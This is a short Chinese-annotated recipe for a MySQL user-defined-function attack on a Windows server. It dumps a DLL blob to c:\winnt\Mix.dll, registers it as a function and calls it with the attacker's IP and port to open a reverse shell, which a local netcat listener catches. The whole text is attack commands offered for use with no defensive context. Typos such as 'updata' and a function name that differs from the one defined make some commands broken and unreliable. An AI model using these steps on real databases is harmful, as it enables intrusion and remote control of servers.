create table Mix(data LONGBLOB);
insert Mix values("");updata Mix set data = @a;
select data from Mix into DUMPFILE 'c:\\winnt\\Mix.dll';

mysql -h主机地址 -u用户名 －p用户密码

mysql>use mysql;

mysql>\. c:\*.dll.txt

mysql>CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\winnt\\mix.dll';

mysql>Select Minconnect('your ip','port');

然后在本地,nc -vv -l -p port